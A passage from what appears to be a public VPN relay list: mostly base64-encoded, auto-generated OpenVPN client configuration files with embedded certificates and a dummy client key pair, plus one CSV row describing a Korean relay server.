MjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBlbmNyeXB0aW9uIGFuZCBhdXRoZW50aWNhdGlvbiBhbGdvcml0aG0uDQojIA0KIyBEZWZhdWx0IHNldHRpbmcgaXMgZ29vZC4gTW9kaWZ5IGl0IGFzIHlvdSBwcmVmZXIuDQojIFdoZW4geW91IHNwZWNpZnkgYW4gdW5zdXBwb3J0ZWQgYWxnb3JpdGhtLCB0aGUgZXJyb3Igd2lsbCBvY2N1ci4NCiMgDQojIFRoZSBzdXBwb3J0ZWQgYWxnb3JpdGhtcyBhcmUgYXMgZm9sbG93czoNCiMgIGNpcGhlcjogW05VTEwtQ0lQSEVSXSBOVUxMIEFFUy0xMjgtQ0JDIEFFUy0xOTItQ0JDIEFFUy0yNTYtQ0JDIEJGLUNCQw0KIyAgICAgICAgICBDQVNULUNCQyBDQVNUNS1DQkMgREVTLUNCQyBERVMtRURFLUNCQyBERVMtRURFMy1DQkMgREVTWC1DQkMNCiMgICAgICAgICAgUkMyLTQwLUNCQyBSQzItNjQtQ0JDIFJDMi1DQkMgQ0FNRUxMSUEtMTI4LUNCQyBDQU1FTExJQS0xOTItQ0JDIENBTUVMTElBLTI1Ni1DQkMNCiMgIGRhdGEtY2lwaGVyczogc2FtZSBhcyBjaXBoZXINCiMgIGF1dGg6ICAgU0hBIFNIQTEgU0hBMjU2IFNIQTM4NCBTSEE1MTIgTUQ1IE1ENCBSTUQxNjANCiMNCiMgTm90ZTogVG8gc29sdmUgT3BlblZQTiBjb21wYXRpYmlsaXR5IGJ1Zw0KIyBSZWNlbnQgdmVyc2lvbnMgb2YgdGhlIE9wZW5WUE4gYXBwIHJlcXVpcmUgc3BlY2lmeWluZyB0aGUgImRhdGEtY2lwaGVycyINCiMgZmllbGQgaW5zdGVhZCBvZiB0aGUgImNpcGhlciIgZmllbGQuIEhvd2V2ZXIsIG9sZGVyIHZlcnNpb25zIG9mIHRoZSBPcGVuVlBOIGFwcA0KIyBkbyBub3QgcmVjb2duaXplICJkYXRhLWNpcGhlcnMuIiBSYXRoZXIgdGhhbiBpZ25vcmluZyBpdCwgdGhleSBwcm9kdWNlDQojIGEgc3RhcnR1cCBlcnJvciBzdGF0aW5nIHRoYXQgIm5vIHN1Y2ggb3B0aW9uIGV4aXN0cy4iIFRoaXMgaXMgYSBidWcNCiMgaW4gT3BlblZQTi4gSWYgeW91IGVuY291bnRlciB0aGlzIGlzc3VlLCBwbGVhc2UgY29tbWVudCBvdXQNCiMgdGhlICJkYXRhLWNpcGhlcnMiIGxpbmUuDQoNCmNpcGhlciBBRVMtMTI4LUNCQw0KZGF0YS1jaXBoZXJzIEFFUy0xMjgtQ0JDDQphdXRoIFNIQTENCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIE90aGVyIHBhcmFtZXRlcnMgbmVjZXNzYXJ5IHRvIGNvbm5lY3QgdG8gdGhlIFZQTiBTZXJ2ZXIuDQojIA0KIyBJdCBpcyBub3QgcmVjb21tZW5kZWQgdG8gbW9kaWZ5IGl0IHVubGVzcyB5b3UgaGF2ZSBhIHBhcnRpY3VsYXIgbmVlZC4NCg0KcmVzb2x2LXJldHJ5IGluZmluaXRlDQpub2JpbmQNCnBlcnNpc3Qta2V5DQpwZXJzaXN0LXR1bg0KY2xpZW50DQp2ZXJiIDMNCiNhdXRoLXVzZXItcGFzcw0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGNlcnRpZmljYXRlIGZpbGUgb2YgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIuDQojIA0KIyBUaGUgQ0EgY2VydGlmaWNhdGUgZmlsZSBpcyBlbWJlZGRlZCBpbiB0aGUgaW5saW5lIGZvcm1hdC4NCiMgWW91IGNhbiByZXBsYWNlIHRoaXMgQ0EgY29udGVudHMgaWYgbmVjZXNzYXJ5Lg0KIyBQbGVhc2Ugbm90ZSB0aGF0IGlmIHRoZSBzZXJ2ZXIgY2VydGlmaWNhdGUgaXMgbm90IGEgc2VsZi1zaWduZWQsIHlvdSBoYXZlIHRvDQojIHNwZWNpZnkgdGhlIHNpZ25lcidzIHJvb3QgY2VydGlmaWNhdGUgKENBKSBoZXJlLg0KDQo8Y2E+DQotLS0tLUJFR0lOIENFUlRJRklDQVRFLS0tLS0NCk1JSUZhekNDQTFPZ0F3SUJBZ0lSQUlJUXo3RFNRT05aUkdQZ3UyT0Npd0F3RFFZSktvWklodmNOQVFFTEJRQXcNClR6RUxNQWtHQTFVRUJoTUNWVk14S1RBbkJnTlZCQW9USUVsdWRHVnlibVYwSUZObFkzVnlhWFI1SUZKbGMyVmgNCmNtTm9JRWR5YjNWd01SVXdFd1lEVlFRREV3eEpVMUpISUZKdmIzUWdXREV3SGhjTk1UVXdOakEwTVRFd05ETTQNCldoY05NelV3TmpBME1URXdORE00V2pCUE1Rc3dDUVlEVlFRR0V3SlZVekVwTUNjR0ExVUVDaE1nU1c1MFpYSnUNClpYUWdVMlZqZFhKcGRIa2dVbVZ6WldGeVkyZ2dSM0p2ZFhBeEZUQVRCZ05WQkFNVERFbFRVa2NnVW05dmRDQlkNCk1UQ0NBaUl3RFFZSktvWklodmNOQVFFQkJRQURnZ0lQQURDQ0Fnb0NnZ0lCQUszb0pIUDBGRGZ6bTU0clZ5Z2MNCmg3N2N0OTg0a0l4dVBPWlhvSGozZGNLaS92VnFidllBVHlqYjNtaUdiRVNUdHJGai9SUVNhNzhmMHVveG15RisNCjBUTTh1a2oxM1huZnM3ai9FdkVobWt2QmlvWnhhVXBtWm15UGZqeHd2NjBwSWdiejVNRG1nSzdpUzQrM21YNlUNCkE1L1RSNWQ4bVVnalUrZzRyazhLYjRNdTBVbFhqSUIwdHRvdjBEaU5ld053SVJ0MThqQTgrbyt1M2RwanErc1cNClQ4S09FVXQrend2by83VjNMdlN5ZTByZ1RCSWxESENOQXltZzRWTWs3QlBaN2htL0VMTktqRCtKbzJGUjNxeUgNCkI1VDBZM0hzTHVKdlc1aUI0WWxjTkhsc2R1ODdrR0o1NXR1a21pOG14ZEFRNFE3ZTJSQ09GdnUzOTZqM3grVUMNCkI1aVBOZ2lWNStJM2xnMDJkWjc3RG5LeEhadThBL2xKQmRpQjNRVzBLdFpCNmF3QmRwVUtEOWpmMWIwU0h6VXYNCktCZHMwcGpCcUFsa2QyNUhON3JPckZsZWFKMS9jdGFKeFFaQktUNVpQdDBtOVNUSkVhZGFvMHhBSDBhaG1iV24NCk9sRnVoanVlZlhLbkVnVjRXZTArVVhnVkN3T1BqZEF2QmJJK2Uwb2NTM01GRXZ6RzZ1QlFFM3hEazNTenluVG4NCmpoOEJDTkF3MUZ0eE5yUUh1c0V3TUZ4SXQ0STdtS1o5WUlxaW95bUN6THE5Z3dRYm9vTURRYUhXQmZFYndyYncNCnFIeUdPMGFvU0NxSTNIYWFkcjhmYXFVOUdZL3JPUE5rM3NnckRRb28vL2ZiNGhWQzFDTFFKMTNoZWY0WTUzQ0kNCnJVN20yWXM2eHQwblVXNy92R1QxTTBOUEFnTUJBQUdqUWpCQU1BNEdBMVVkRHdFQi93UUVBd0lCQmpBUEJnTlYNCkhSTUJBZjhFQlRBREFRSC9NQjBHQTFVZERnUVdCQlI1dEZubWU3Ymw1QUZ6Z0FpSXlCcFk5dW1iYmpBTkJna3ENCmhraUc5dzBCQVFzRkFBT0NBZ0VBVlI5WXFieXlxRkRRRExIWUdta2dKeWtJckdGMVhJcHUrSUxsYVMvVjlsWkwNCnViaHpFRm5USVpkKzUweHgrN0xTWUswNXFBdnFGeUZXaGZGUURsbnJ6dUJaNmJySkZlK0duWStFZ1BiazZaR1ENCjNCZWJZaHRGOEdhVjBueHZ3dW83N3gvUHk5YXVKL0dwc01pdS9YMSttdm9pQk92LzJYL3FrU3Npc1JjT2ovS0sNCk5GdFkyUHdCeVZTNXVDYk1pb2d6aVV3dGhEeUMzKzZXVndXNkxMdjN4TGZIVGp1Q3ZqSElJbk56a3RIQ2dLUTUNCk9SQXpJNEpNUEorR3NsV1lIYjRwaG93aW01N2lhenRYT29Kd1Rkd0p4NG5MQ2dkTmJPaGRqc252enF2SHU3VXINClRrWFdTdEFtek9WeXlnaHFwWlhqRmFIM3BPM0pMRitsKy8rc0tBSXV2dGQ3dStOeGU1QVcwd2RlUmxOOE53ZEMNCmpOUEVscHpWbWJVcTRKVWFnRWl1VERrSHpzeEhwRktWSzdxNCs2M1NNMU45NVIxTmJkV2hzY2RDYitaQUp6VmMNCm95aTNCNDNualRPUTV5T2YrMUNjZVd4RzFiUVZzNVp1ZnBzTWxqcTRVaTAvMWx2aCt3akNoUDRrcUtPSjJxeHENCjRSZ3FzYWhEWVZ2VEg5dzdqWGJ5TGVpTmRkOFhNMnc5VS90N3kwRmYvOXlpMEdFNDRaYTRyRjJMTjlkMTFUUEENCm1SR3VuVUhCY25XRXZnSkJRbDluSkVpVTBac252Z2MvdWJoUGdYUlI0WHEzN1owajRyN2cxU2dFRXp3eEE1N2QNCmVteVB4Z2NZeG4vZVI0NC9LSjRFQnMrbFZEUjN2ZXlKbStrWFE5OWIyMS8ramg1WG9zMUFuWDVpSXRyZUdDYz0NCi0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0NCg0KPC9jYT4NCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBjbGllbnQgY2VydGlmaWNhdGUgZmlsZSAoZHVtbXkpLg0KIyANCiMgSW4gc29tZSBpbXBsZW1lbnRhdGlvbnMgb2YgT3BlblZQTiBDbGllbnQgc29mdHdhcmUNCiMgKGZvciBleGFtcGxlOiBPcGVuVlBOIENsaWVudCBmb3IgaU9TKSwNCiMgYSBwYWlyIG9mIGNsaWVudCBjZXJ0aWZpY2F0ZSBhbmQgcHJpdmF0ZSBrZXkgbXVzdCBiZSBpbmNsdWRlZCBvbiB0aGUNCiMgY29uZmlndXJhdGlvbiBmaWxlIGR1ZSB0byB0aGUgbGltaXRhdGlvbiBvZiB0aGUgY2xpZW50Lg0KIyBTbyB0aGlzIHNhbXBsZSBjb25maWd1cmF0aW9uIGZpbGUgaGFzIGEgZHVtbXkgcGFpciBvZiBjbGllbnQgY2VydGlmaWNhdGUNCiMgYW5kIHByaXZhdGUga2V5IGFzIGZvbGxvd3MuDQoNCjxjZXJ0Pg0KLS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tDQpNSUlDeGpDQ0FhNENBUUF3RFFZSktvWklodmNOQVFFRkJRQXdLVEVhTUJnR0ExVUVBeE1SVmxCT1IyRjBaVU5zDQphV1Z1ZEVObGNuUXhDekFKQmdOVkJBWVRBa3BRTUI0WERURXpNREl4TVRBek5EazBPVm9YRFRNM01ERXhPVEF6DQpNVFF3TjFvd0tURWFNQmdHQTFVRUF4TVJWbEJPUjJGMFpVTnNhV1Z1ZEVObGNuUXhDekFKQmdOVkJBWVRBa3BRDQpNSUlCSWpBTkJna3Foa2lHOXcwQkFRRUZBQU9DQVE4QU1JSUJDZ0tDQVFFQTVoMmxnUVFZVWp3b0tZSmJ6VlpBDQo1VmNJR2Q1b3RQYy9xWlJNdDBLSXRDRkEwczlSd1JlTlZhOWZEUkZMUkJoY0lUT2x2M0ZCY1czRThoMVVzN1JEDQo0VzhHbUplOHphcEpuTHNEMzlPU01SQ3paSm5jelc0T0NIMVBaUlpXS3FEdGpsTmNhOUFGOGE2NWpUbWxEeENRDQpDam50TElXazVPTExWa0Z0OS90U2NjMUdEdGNpNTVvZmhhTkFZTVBpSDdWOCsxZzY2cEdIWEFvV0s2QVFWSDY3DQpYQ0tKbkdCNW5sUStIc01ZUFYvTzQ5TGQ5MVpOLzJ0SGtjYUxMeU50eXd4VlBSU3NSaDQ4MGpqdTBmY0NzdjZoDQpwLzB5WG5UQi8vbVd1dEJHcGRVbElid2lJVGJBbXJzYlluamlnUnZuUHFYMVJOSlViaTlGcDZDMmMvSElGSkdEDQp5d0lEQVFBQk1BMEdDU3FHU0liM0RRRUJCUVVBQTRJQkFRQ2hPNWhnY3cvNG9XZm9FRkx1OWtCYTFCLy9reEg4DQpoUWtDaFZObjhCUkM3WTBVUlFpdFBsM0RLRWVkOVVSQkRkZzJLT0F6NzdiYjZFTlBpbGlEK2EzOFVKSElSTXFlDQpVQkhobGxPSEl6dkRoSEZiYW92QUxCUWNlZUJ6ZGtReHNLUUVTS21RbVI4MzI5NTBVQ292b3lSQjYxVXlBVjdoDQorbVpoWVBHUktYS1NKSTZzMEVnZy9DcmkrQ3drNGJqSmZyYjVoVnNlMTF5aDREOU1IaHdTZkNPSCswejRoUFVUDQpGa3U3ZEdhdlVSTzVTVnhNbi9zTDZFbjVEK29TZVhrYWRIcERzK0FpcnltMllIaDE1aDAralBTT29SNnlpVnAvDQo2elplWmtyTjQza3VTNzNLcEtERmpmRlBoOHQ0cjFnT0lqdHRrTmNRcUJjY3VzbnBsUTdISnBzaw0KLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQ0KDQo8L2NlcnQ+DQoNCjxrZXk+DQotLS0tLUJFR0lOIFJTQSBQUklWQVRFIEtFWS0tLS0tDQpNSUlFcEFJQkFBS0NBUUVBNWgybGdRUVlVandvS1lKYnpWWkE1VmNJR2Q1b3RQYy9xWlJNdDBLSXRDRkEwczlSDQp3UmVOVmE5ZkRSRkxSQmhjSVRPbHYzRkJjVzNFOGgxVXM3UkQ0VzhHbUplOHphcEpuTHNEMzlPU01SQ3paSm5jDQp6VzRPQ0gxUFpSWldLcUR0amxOY2E5QUY4YTY1alRtbER4Q1FDam50TElXazVPTExWa0Z0OS90U2NjMUdEdGNpDQo1NW9maGFOQVlNUGlIN1Y4KzFnNjZwR0hYQW9XSzZBUVZINjdYQ0tKbkdCNW5sUStIc01ZUFYvTzQ5TGQ5MVpODQovMnRIa2NhTEx5TnR5d3hWUFJTc1JoNDgwamp1MGZjQ3N2NmhwLzB5WG5UQi8vbVd1dEJHcGRVbElid2lJVGJBDQptcnNiWW5qaWdSdm5QcVgxUk5KVWJpOUZwNkMyYy9ISUZKR0R5d0lEQVFBQkFvSUJBRVJWN1g1QXZ4QTh1UmlLDQprOFNJcHNEMGRYMXBKT01Jd2FrVVZ5dmM0RWZOMERoS1JOYjRyWW9TaUVHVEx5ekxweUJjL0EyOERsa201ZU9ZDQpmanpYZllrR3RZaS9GdHhrZzNPOXZjck1RNCs2aSt1R0hhSUwyckwrczRNcmZPOHYxeHY2K1dreTMzRUVHQ291DQpRaXdWR1JGUVhuUm9RNjJOQkNGYlVOTGhtWHdkajFha1p6TFU0cDVSNHpBM1FoZHh3RUlhdFZMdDArN293TFEzDQpsUDhzZlhocHBQT1hqVHFNRDRRa1l3elBBYTgvekY3YWNuNGtyeXJVUDdRNlBBZmQwekVWcU55OVpDWjlmZmhvDQp6WGVkRmo0ODZJRm9jNWduVHAyTjZqc25WajRMQ0dJaGxWSGxZR296S0tGcUpjUVZHc0hDcXExb3oyempXNkxTDQpvUllJSGdFQ2dZRUE4elpya0N3TllTWEp1T0RKM20vaE9MVnhjeGdKdXdYb2lFcldkMEU0MnZQYW5qalZNaG50DQpLWTVsOHFHTUo2RmhLOUxZeDJxQ3JmL0UwWHRVQVoyd1ZxM09SVHlHbnNNV3JlOXRMWXM1NVgrWk4xMFRjNzV6DQo0aGFjYlUwaHFLTjFIaURtc01SWTMvMk5hWkhveTdNS253SkpCYUc0OGw5Q0NUbFZ3TUhvY0lFQ2dZRUE4amJ5DQpkR2p4VEgrNlhIV05pemI1U1JiWnhBbnlFZUplUndUTWgwZ0d6d0dQcEgvc1pZR3p5dTBTeVNYV0NuWmgzUmdxDQo1dUxsTnh0clhybGpabHlpMm5RZFFnc3EyWXJXVXMwK3pnVSsyMnVRc1pwU0FmdG1oVnJ0dmV0Nk1qVmpiQnlZDQpEQURjaUVWVWRKWUlYaytxbkZVSnllcm9MSWtUajdXWUtaNlJqa3NDZ1lCb0NGSXdSRGVnNDJvSzg5UkZtbk9yDQpMeW1OQXE0KzJvTWhzV2xWYjRlaldJV2VBazluYytHWFVmclhzelJoUzAxbVVuVTVyNXlnVXZSY2FyVi9UM1U3DQpUbk1aK0k3WTREZ1dSSURkNTF6bmh4SUJ0WVY1ai9DL3Q4NUhqcU9rSCs4YjZSVGtiY2hhWDNtYXU3ZnBVZmRzDQpGcTBuaElxNDJmaEVPOHNyZllZd2dRS0JnUUN5aGkxTi84dGFSd3BrKzMvSURFelF3amJmZHpVa1dXU0RrOVhzDQpIL3BrdVJIV2ZUTVAzZmxXcUVZZ1cvTFc0MHBlVzJIRHE1aW1kVjgrQWdaeGUvWE1iYWppOUxnd2YxUlkwMDVuDQpLeGFaUXo3eXFIdXBXbExHRjY4RFBIeGtaVlZTYWdEblYvc3p0V1g2U0ZzQ3FGVm54SVhpZlhHQzRjVzVObTlnDQp2YThxNFFLQmdRQ0VoTFZlVWZkd0t2a1o5NGcvR0Z6NzMxWjJocmRWaGdNWmFVL3U2dDBWOTUrWWV6UE5DUVpCDQp3bUU5TW1sYnExZW1EZVJPaXZqQ2ZvR2hSM2taWFcxcFRLbExoNlpNVVFVT3BwdGRYdmE4WHhmb3FRd2EzZW5BDQpNN211QmJGMFhON1ZPODBpSlB2K1BtSVpkRUlBa3B3S2ZpMjAxWUIrQmFmQ0l1R3hJRjUwVmc9PQ0KLS0tLS1FTkQgUlNBIFBSSVZBVEUgS0VZLS0tLS0NCg0KPC9rZXk+DQoNCg== +vpn355357667,220.75.169.123,593755,27,295614235,Korea Republic of,KR,9,1000,130311,16328814359930,2weeks,DESKTOP-9FCT9OJ's owner,,IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPcGVuVlBOIDIuMCBTYW1wbGUgQ29uZmlndXJhdGlvbiBGaWxlDQojIGZvciBQYWNrZXRpWCBWUE4gLyBTb2Z0RXRoZXIgVlBOIFNlcnZlcg0KIyANCiMgISEhIEFVVE8tR0VORVJBVEVEIEJZIFNPRlRFVEhFUiBWUE4gU0VSVkVSIE1BTkFHRU1FTlQgVE9PTCAhISENCiMgDQojICEhISBZT1UgSEFWRSBUTyBSRVZJRVcgSVQgQkVGT1JFIFVTRSBBTkQgTU9ESUZZIElUIEFTIE5FQ0VTU0FSWSAhISENCiMgDQojIFRoaXMgY29uZmlndXJhdGlvbiBmaWxlIGlzIGF1dG8tZ2VuZXJhdGVkLiBZb3UgbWlnaHQgdXNlIHRoaXMgY29uZmlnIGZpbGUNCiMgaW4gb3JkZXIgdG8gY29ubmVjdCB0byB0aGUgUGFja2V0aVggVlBOIC8gU29mdEV0aGVyIFZQTiBTZXJ2ZXIuDQojIEhvd2V2ZXIsIGJlZm9yZSB5b3UgdHJ5IGl0LCB5b3Ugc2hvdWxkIHJldmlldyB0aGUgZGVzY3JpcHRpb25zIG9mIHRoZSBmaWxlDQojIHRvIGRldGVybWluZSB0aGUgbmVjZXNzaXR5IHRvIG1vZGlmeSB0byBzdWl0YWJsZSBmb3IgeW91ciByZWFsIGVudmlyb25tZW50Lg0KIyBJZiBuZWNlc3NhcnksIHlvdSBoYXZlIHRvIG1vZGlmeSBhIGxpdHRsZSBhZGVxdWF0ZWx5IG9uIHRoZSBmaWxlLg0KIyBGb3IgZXhhbXBsZSwgdGhlIElQIGFkZHJlc3Mgb3IgdGhlIGhvc3RuYW1lIGFzIGEgZGVzdGluYXRpb24gVlBOIFNlcnZlcg0KIyBzaG91bGQgYmUgY29uZmlybWVkLg0KIyANCiMgTm90ZSB0aGF0IHRvIHVzZSBPcGVuVlBOIDIuMCwgeW91IGhhdmUgdG8gcHV0IHRoZSBjZXJ0aWZpY2F0aW9uIGZpbGUgb2YNCiMgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIgb24gdGhlIE9wZW5WUE4gQ2xpZW50IGNvbXB1dGVyIHdoZW4geW91IHVzZSB0aGlzDQojIGNvbmZpZyBmaWxlLiBQbGVhc2UgcmVmZXIgdGhlIGJlbG93IGRlc2NyaXB0aW9ucyBjYXJlZnVsbHkuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB0eXBlIG9mIHRoZSBsYXllciBvZiB0aGUgVlBOIGNvbm5lY3Rpb24uDQojIA0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgIlJlbW90ZS1BY2Nlc3MgVlBOIENsaWVudCBQQyIsDQojICBzcGVjaWZ5ICdkZXYgdHVuJy4gKExheWVyLTMgSVAgUm91dGluZyBNb2RlKQ0KIw0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgYnJpZGdpbmcgZXF1aXBtZW50IG9mICJTaXRlLXRvLVNpdGUgVlBOIiwNCiMgIHNwZWNpZnkgJ2RldiB0YXAnLiAoTGF5ZXItMiBFdGhlcm5ldCBCcmlkZ2luZSBNb2RlKQ0KDQpkZXYgdHVuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB1bmRlcmx5aW5nIHByb3RvY29sIGJleW9uZCB0aGUgSW50ZXJuZXQuDQojIE5vdGUgdGhhdCB0aGlzIHNldHRpbmcgbXVzdCBiZSBjb3JyZXNwb25kIHdpdGggdGhlIGxpc3RlbmluZyBzZXR0aW5nIG9uDQojIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgU3BlY2lmeSBlaXRoZXIgJ3Byb3RvIHRjcCcgb3IgJ3Byb3RvIHVkcCcuDQoNCnByb3RvIHRjcA0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGRlc3RpbmF0aW9uIGhvc3RuYW1lIC8gSVAgYWRkcmVzcywgYW5kIHBvcnQgbnVtYmVyIG9mDQojIHRoZSB0YXJnZXQgVlBOIFNlcnZlci4NCiMgDQojIFlvdSBoYXZlIHRvIHNwZWNpZnkgYXMgJ3JlbW90ZSA8SE9TVE5BTUU+IDxQT1JUPicuIFlvdSBjYW4gYWxzbw0KIyBzcGVjaWZ5IHRoZSBJUCBhZGRyZXNzIGluc3RlYWQgb2YgdGhlIGhvc3RuYW1lLg0KIyANCiMgTm90ZSB0aGF0IHRoZSBhdXRvLWdlbmVyYXRlZCBiZWxvdyBob3N0bmFtZSBhcmUgYSAiYXV0by1kZXRlY3RlZA0KIyBJUCBhZGRyZXNzIiBvZiB0aGUgVlBOIFNlcnZlci4gWW91IGhhdmUgdG8gY29uZmlybSB0aGUgY29ycmVjdG5lc3MNCiMgYmVmb3JlaGFuZC4NCiMgDQojIFdoZW4geW91IHdhbnQgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlciBieSB1c2luZyBUQ1AgcHJvdG9jb2wsDQojIHRoZSBwb3J0IG51bWJlciBvZiB0aGUgZGVzdGluYXRpb24gVENQIHBvcnQgc2hvdWxkIGJlIHNhbWUgYXMgb25lIG9mDQojIHRoZSBhdmFpbGFibGUgVENQIGxpc3RlbmVycyBvbiB0aGUgVlBOIFNlcnZlci4NCiMgDQojIFdoZW4geW91IHVzZSBVRFAgcHJvdG9jb2wsIHRoZSBwb3J0IG51bWJlciBtdXN0IHNhbWUgYXMgdGhlIGNvbmZpZ3VyYXRpb24NCiMgc2V0dGluZyBvZiAiT3BlblZQTiBTZXJ2ZXIgQ29tcGF0aWJsZSBGdW5jdGlvbiIgb24gdGhlIFZQTiBTZXJ2ZXIuDQoNCnJlbW90ZSAyMjAuNzUuMTY5LjEyMyA5OTUNCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBIVFRQL0hUVFBTIHByb3h5IHNldHRpbmcuDQojIA0KIyBPbmx5IGlmIHlvdSBoYXZlIHRvIHVzZSB0aGUgSW50ZXJuZXQgdmlhIGEgcHJveHksIHVuY29tbWVudCB0aGUgYmVsb3cNCiMgdHdvIGxpbmVzIGFuZCBzcGVjaWZ5IHRoZSBwcm94eSBhZGRyZXNzIGFuZCB0aGUgcG9ydCBudW1iZXIuDQojIEluIHRoZSBjYXNlIG9mIHVzaW5nIHByb3h5LWF1dGhlbnRpY2F0aW9uLCByZWZlciB0aGUgT3BlblZQTiBtYW51YWwuDQoNCjtodHRwLXByb3h5LXJldHJ5DQo7aHR0cC1wcm94eSBbcHJveHkgc2VydmVyXSBbcHJveHkgcG9ydF0NCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBlbmNyeXB0aW9uIGFuZCBhdXRoZW50aWNhdGlvbiBhbGdvcml0aG0uDQojIA0KIyBEZWZhdWx0IHNldHRpbmcgaXMgZ29vZC4gTW9kaWZ5IGl0IGFzIHlvdSBwcmVmZXIuDQojIFdoZW4geW91IHNwZWNpZnkgYW4gdW5zdXBwb3J0ZWQgYWxnb3JpdGhtLCB0aGUgZXJyb3Igd2lsbCBvY2N1ci4NCiMgDQojIFRoZSBzdXBwb3J0ZWQgYWxnb3JpdGhtcyBhcmUgYXMgZm9sbG93czoNCiMgIGNpcGhlcjogW05VTEwtQ0lQSEVSXSBOVUxMIEFFUy0xMjgtQ0JDIEFFUy0xOTItQ0JDIEFFUy0yNTYtQ0JDIEJGLUNCQw0KIyAgICAgICAgICBDQVNULUNCQyBDQVNUNS1DQkMgREVTLUNCQyBERVMtRURFLUNCQyBERVMtRURFMy1DQkMgREVTWC1DQkMNCiMgICAgICAgICAgUkMyLTQwLUNCQyBSQzItNjQtQ0JDIFJDMi1DQkMgQ0FNRUxMSUEtMTI4LUNCQyBDQU1FTExJQS0xOTItQ0JDIENBTUVMTElBLTI1Ni1DQkMNCiMgIGRhdGEtY2lwaGVyczogc2FtZSBhcyBjaXBoZXINCiMgIGF1dGg6ICAgU0hBIFNIQTEgU0hBMjU2IFNIQTM4NCBTSEE1MTIgTUQ1IE1ENCBSTUQxNjANCiMNCiMgTm90ZTogVG8gc29sdmUgT3BlblZQTiBjb21wYXRpYmlsaXR5IGJ1Zw0KIyBSZWNlbnQgdmVyc2lvbnMgb2YgdGhlIE9wZW5WUE4gYXBwIHJlcXVpcmUgc3BlY2lmeWluZyB0aGUgImRhdGEtY2lwaGVycyINCiMgZmllbGQgaW5zdGVhZCBvZiB0aGUgImNpcGhlciIgZmllbGQuIEhvd2V2ZXIsIG9sZGVyIHZlcnNpb25zIG9mIHRoZSBPcGVuVlBOIGFwcA0KIyBkbyBub3QgcmVjb2duaXplICJkYXRhLWNpcGhlcnMuIiBSYXRoZXIgdGhhbiBpZ25vcmluZyBpdCwgdGhleSBwcm9kdWNlDQojIGEgc3RhcnR1cCBlcnJvciBzdGF0aW5nIHRoYXQgIm5vIHN1Y2ggb3B0aW9uIGV4aXN0cy4iIFRoaXMgaXMgYSBidWcNCiMgaW4gT3BlblZQTi4gSWYgeW91IGVuY291bnRlciB0aGlzIGlzc3VlLCBwbGVhc2UgY29tbWVudCBvdXQNCiMgdGhlICJkYXRhLWNpcGhlcnMiIGxpbmUuDQoNCmNpcGhlciBBRVMtMTI4LUNCQw0KZGF0YS1jaXBoZXJzIEFFUy0xMjgtQ0JDDQphdXRoIFNIQTENCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIE90aGVyIHBhcmFtZXRlcnMgbmVjZXNzYXJ5IHRvIGNvbm5lY3QgdG8gdGhlIFZQTiBTZXJ2ZXIuDQojIA0KIyBJdCBpcyBub3QgcmVjb21tZW5kZWQgdG8gbW9kaWZ5IGl0IHVubGVzcyB5b3UgaGF2ZSBhIHBhcnRpY3VsYXIgbmVlZC4NCg0KcmVzb2x2LXJldHJ5IGluZmluaXRlDQpub2JpbmQNCnBlcnNpc3Qta2V5DQpwZXJzaXN0LXR1bg0KY2xpZW50DQp2ZXJiIDMNCiNhdXRoLXVzZXItcGFzcw0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGNlcnRpZmljYXRlIGZpbGUgb2YgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXI